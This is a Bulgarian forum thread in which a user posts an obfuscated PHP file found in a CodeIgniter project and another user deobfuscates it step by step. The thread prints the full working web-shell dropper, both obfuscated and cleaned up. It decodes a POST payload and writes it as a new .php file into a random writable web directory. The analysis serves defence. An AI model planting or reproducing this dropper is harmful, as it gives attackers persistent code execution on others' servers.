Странен файл в controllers на codigniter

Спам форум
Post Reply
User avatar
vinsbg
Гуру
Гуру
Posts: 2604
Joined: Wed Jan 28, 2009 12:21 pm
Answers: 51
Location: София
Contact:

Странен файл в controllers на codigniter

Post by vinsbg » Thu Sep 20, 2018 9:08 am

Здравейте,

Разглеждам една система писана на codigniter и се натъкнах на един файл със странно име и странно съдържание.

Името на файла е: fdogkubc.php

Съдържанието е

Code: Select all

<?php 

$hilypmmhg = "ilqsmtfjixawbzxi";
$bmliicfp = "";

foreach &#40;$_POST as $wfywkevcdm => $avneljbft&#41; &#123;
	
	if &#40;strlen&#40;$wfywkevcdm&#41; == 16 and substr_count&#40;$avneljbft, "%"&#41; > 10&#41; &#123;
		
		mwwzvba&#40;$wfywkevcdm, $avneljbft&#41;;
	&#125;
&#125;

function mwwzvba&#40;$wfywkevcdm, $nrjpwesr&#41; &#123;
	
	global $bmliicfp;
	$bmliicfp = $wfywkevcdm;
	$nrjpwesr = str_split&#40;rawurldecode&#40;str_rot13&#40;$nrjpwesr&#41;&#41;&#41;;
	
	function xuidr&#40;$lhknumbuuk, $wfywkevcdm&#41;&#123;
		
		global $hilypmmhg, $bmliicfp;
		return $lhknumbuuk ^ $hilypmmhg&#91;$wfywkevcdm % strlen&#40;$hilypmmhg&#41;&#93; ^ $bmliicfp&#91;$wfywkevcdm % strlen&#40;$bmliicfp&#41;&#93;;
	&#125;
	
	$nrjpwesr = implode&#40;"", array_map&#40;"xuidr", array_values&#40;$nrjpwesr&#41;, array_keys&#40;$nrjpwesr&#41;&#41;&#41;;
	
	$nrjpwesr = @unserialize&#40;$nrjpwesr&#41;;
	
	if &#40;@is_array&#40;$nrjpwesr&#41;&#41;&#123;
		
		$wfywkevcdm = array_keys&#40;$nrjpwesr&#41;;
		$nrjpwesr = $nrjpwesr&#91;$wfywkevcdm&#91;0&#93;&#93;;
		
		if &#40;$nrjpwesr === $wfywkevcdm&#91;0&#93;&#41;&#123;
			
			echo @serialize&#40;Array&#40;'php' => @phpversion&#40;&#41;, &#41;&#41;;exit&#40;&#41;;
		&#125;else&#123;
			
			function bwvge&#40;$oitakjtoir&#41; &#123;
				
				static $cwheo = array&#40;&#41;;
				$ffijwjg = glob&#40;$oitakjtoir . '/*', GLOB_ONLYDIR&#41;;
				
				if &#40;count&#40;$ffijwjg&#41; > 0&#41; &#123;
					
					foreach &#40;$ffijwjg as $oitakjto&#41;&#123;
					
						if &#40;@is_writable&#40;$oitakjto&#41;&#41;&#123;
							$cwheo&#91;&#93; = $oitakjto;
						&#125;
					&#125;
				&#125;
			
				foreach &#40;$ffijwjg as $oitakjtoir&#41; bwvge&#40;$oitakjtoir&#41;;
					return $cwheo;
			&#125;
			$lkyfnpks = $_SERVER&#91;"DOCUMENT_ROOT"&#93;;
			$ffijwjg = bwvge&#40;$lkyfnpks&#41;;
			$wfywkevcdm = array_rand&#40;$ffijwjg&#41;;
			$igklk = $ffijwjg&#91;$wfywkevcdm&#93; . "/" . substr&#40;md5&#40;time&#40;&#41;&#41;, 0, 8&#41; . ".php";
			@file_put_contents&#40;$igklk, $nrjpwesr&#41;;
			echo "http&#58;//" . $_SERVER&#91;"HTTP_HOST"&#93; . substr&#40;$igklk, strlen&#40;$lkyfnpks&#41;&#41;;
			
			exit&#40;&#41;;
		&#125;
	&#125;
&#125;
Някой има ли идея, какво прави този код?

User avatar
anonimen
Web-tourist
Web-tourist
Posts: 1562
Joined: Mon Jun 11, 2012 6:07 pm
Answers: 163
Location: Parse error: unexpected "}" in /home/index.php on line 26

Post by anonimen » Fri Sep 21, 2018 7:32 am

Като за начало, прекарва през дадената функция всички елементи от $_POST, чиито ключове са по-дълги от 10 и чиито стойности съдържат повече от 10 знака %.

Оттам нататък можеш да 'дешифрираш' функцията, като заместиш mangled променливите с някакви имена, примерно $key и $value за параметрите на функцията.

User avatar
anonimen
Web-tourist
Web-tourist
Posts: 1562
Joined: Mon Jun 11, 2012 6:07 pm
Answers: 163
Location: Parse error: unexpected "}" in /home/index.php on line 26

Post by anonimen » Fri Sep 21, 2018 7:41 am

Ето какво се получава, като заместиш всички $key/$value променливи с тези имена, както и $file_name и $document_root:

Обърнал съм няколко "if() {} else {}" в "if() { return } ", за да премахна вложениете проверки и да стане по-линейно.
[php]<?php

$hilypmmhg = "ilqsmtfjixawbzxi";
$bmliicfp = "";

foreach ($_POST as $key => $avneljbft) {
if (strlen($key) == 16 and substr_count($avneljbft, "%") > 10) {
some_function($key, $avneljbft);
}
}

function some_function($key, $value) {

global $bmliicfp;
$bmliicfp = $key;
$value = str_split(rawurldecode(str_rot13($value)));

function xuidr($lhknumbuuk, $key){
global $hilypmmhg, $bmliicfp;
return $lhknumbuuk ^ $hilypmmhg[$key % strlen($hilypmmhg)] ^ $bmliicfp[$key % strlen($bmliicfp)];
}

$value = implode("", array_map("xuidr", array_values($value), array_keys($value)));
$value = @unserialize($value);

if (!@is_array($value)) return;

$key = array_keys($value);
$value = $value[$key[0]];

if ($value === $key[0]){
echo @serialize(Array('php' => @phpversion(), ));exit();
return;
}

function bwvge($oitakjtoir) {
static $cwheo = array();
$ffijwjg = glob($oitakjtoir . '/*', GLOB_ONLYDIR);

if (count($ffijwjg) > 0) {
foreach ($ffijwjg as $oitakjto){
if (@is_writable($oitakjto)){
$cwheo[] = $oitakjto;
}
}
}

foreach ($ffijwjg as $oitakjtoir) bwvge($oitakjtoir);
return $cwheo;
}

$document_root = $_SERVER["DOCUMENT_ROOT"];
$ffijwjg = bwvge($document_root);
$key = array_rand($ffijwjg);
$file_name = $ffijwjg[$key] . "/" . substr(md5(time()), 0, 8) . ".php";
@file_put_contents($file_name, $value);
echo "http://" . $_SERVER["HTTP_HOST"] . substr($file_name, strlen($document_root));

exit();

}
[/php]

User avatar
anonimen
Web-tourist
Web-tourist
Posts: 1562
Joined: Mon Jun 11, 2012 6:07 pm
Answers: 163
Location: Parse error: unexpected "}" in /home/index.php on line 26

Post by anonimen » Fri Sep 21, 2018 8:03 am

Ако разгледаш това тук, ще забележиш, че всъщност "$value[$key[0]]" е първият елемент от $value.

[php] $key = array_keys($value);
$value = $value[$key[0]];

if ($value === $key[0]){
echo @serialize(Array('php' => @phpversion(), ));exit();
return;
}
[/php]

T.e. дефакто сравняваш първия елемент от $value с неговия ключ, което можеш да запишеш така:

if (array_keys($value)[0] === array_values($value)[0]){
echo @serialize(Array('php' => @phpversion(), ));exit();
return;
}

И понеже така или иначе има exit(), няма нужда и от return:

[php] if (array_keys($value)[0] === array_values($value)[0]){
echo @serialize(['php' => @phpversion()]);
exit();
}
[/php]

User avatar
vinsbg
Гуру
Гуру
Posts: 2604
Joined: Wed Jan 28, 2009 12:21 pm
Answers: 51
Location: София
Contact:

Post by vinsbg » Fri Sep 21, 2018 8:13 am

Благодаря за разяснението въпреки, че все още не го разбирам и каква точно му е функцията на този файл.

Притеснява ме да не е оставен нарочно и да има някаква бекдоор функция или нещо подобно.

User avatar
anonimen
Web-tourist
Web-tourist
Posts: 1562
Joined: Mon Jun 11, 2012 6:07 pm
Answers: 163
Location: Parse error: unexpected "}" in /home/index.php on line 26

Post by anonimen » Fri Sep 21, 2018 8:13 am

Можеш да опростиш и функцията bwvge:

[php] if (count($ffijwjg) > 0) {
foreach ($ffijwjg as $oitakjto){
if (@is_writable($oitakjto)){
$cwheo[] = $oitakjto;
}
}
}

[/php]

Нужда oт проверката с count() няма, защото foreach така или иначе няма да изпълни тялото на цикъла, ако масивът/обектът е празен.

След това забелязваш, че $ffijwjg идва от glob(), което ти дава файловете в директорията. И понеже е подаден аргументът GLOB_ONLYDIR, веднага заместваш променливата с с $dirs, а съответната стойност в цикъла - с $dir:


[php] function bwvge($oitakjtoir) {
static $cwheo = array();
$dirs = glob($oitakjtoir . '/*', GLOB_ONLYDIR);

foreach ($dirs as $dir){
if (@is_writable($dir)){
$cwheo[] = $dir;
}
}

foreach ($dirs as $dir) bwvge($dir);
return $cwheo;
}

[/php]

Същата промяна прилагаш и малко по-долу в кода, където е използвана същата променлива:

[php] $dirs = bwvge($document_root);
$random_key = array_rand($dirs);
$file_name = $dirs[$random_key] . "/" . substr(md5(time()), 0, 8) . ".php";[/php]

Картинката започва да става все по-ясна.

User avatar
anonimen
Web-tourist
Web-tourist
Posts: 1562
Joined: Mon Jun 11, 2012 6:07 pm
Answers: 163
Location: Parse error: unexpected "}" in /home/index.php on line 26

Post by anonimen » Fri Sep 21, 2018 8:32 am

Функцията bwvge генерира рекурсивно списък от всички директории в подадената директория. Можеш да комбинираш двата цикъла в един:


[php] function bwvge($dirs) {
static $cwheo = array();
$dirs = glob($dirs . '/*', GLOB_ONLYDIR);

foreach ($dirs as $dir){
if (@is_writable($dir)){
$cwheo[] = $dir;
}
bwvge($dir);
}

return $cwheo;
}[/php]

Поглеждаме следващите редове. След още малко промени стигаш дотук:

[php]
$document_root = $_SERVER["DOCUMENT_ROOT"];
$dirs = bwvge($document_root);

$file_name = $dirs[array_rand($dirs)] . "/" . substr(md5(time()), 0, 8) . ".php";
@file_put_contents($file_name, array_shift($value));

echo "http://" . $_SERVER["HTTP_HOST"] . substr($file_name, strlen($document_root));

[/php]

Което е г/д ясно какво прави. Взима всички директории в DOCUMENT_ROOT:

http://php.net/manual/en/reserved.variables.server.php
The document root directory under which the current script is executing, as defined in the server's configuration file.
А от върнатите директории, избира една на случаен принцип и генерира файл ($file_name), в който записва стойността на първия елемент във $value.

User avatar
vinsbg
Гуру
Гуру
Posts: 2604
Joined: Wed Jan 28, 2009 12:21 pm
Answers: 51
Location: София
Contact:

Post by vinsbg » Fri Sep 21, 2018 10:01 am

И в $value може да бъде всичко и съответно файла може да се изпълни и т.н.

Post Reply